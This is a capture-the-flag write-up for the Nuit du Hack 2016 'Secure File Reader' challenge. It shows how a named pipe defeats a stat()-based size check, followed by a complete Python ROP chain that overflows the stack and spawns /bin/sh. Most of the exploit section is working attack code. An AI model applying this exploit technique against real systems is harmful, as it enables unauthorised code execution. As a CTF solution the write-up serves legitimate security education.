Nuit du Hack Quals 2016 - Secure File Reader

Alternative solution to the expected race condition of a vulnerable Linux binary.

Introduction

Exploitation of a 32-bit binary with a stack based buffer overflow and Return Oriented Programming.

We believe the expected solution for this challenge was a race condition but we found another way around.

Static Analysis

The 32-bit ELF binary is very straightforward, it's only purpose is reading files and putting data in a buffer.
Usage ./prog <filename>

Obviously there is a vulnerability.
The check_size function calls the stat function to check if the size of the file is greater than 4095 bytes in which case the program stop to avoid a buffer overflow.

If the file size is lower or equals to 4095 bytes then the content is read and stored on the stack.

The vulnerability

We can use a race condition to bypass the check_size by changing the file content with our payload after the program calls stat.

Then we can override the EIP with use controlled data.
python -c 'print "A" * 0x101c + "B" * 0x4'

The alternative solution

The server allows us to create named pipe with mkfifo.

The size of a named pipe with the stat function is equals to zero so we pass the check_size function.

$ mkfifo /tmp/sbof
$ python /tmp/exploit.py > /tmp/sbof
$ ./pwn /tmp/sbof

The shellcode

We used the following ROP shellcode to start /bin/sh.

#!/usr/bin/env python
from struct import pack

p = 'A' * 0x101c
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080beb26) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080beb26) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x0806cd51) # xor eax, eax ; pop esi ; pop edi ; ret
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08072731) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080ee060) # padding without overwrite ebx
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x0806cd51) # xor eax, eax ; pop esi ; pop edi ; ret
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x08049501) # int 0x80

print(p)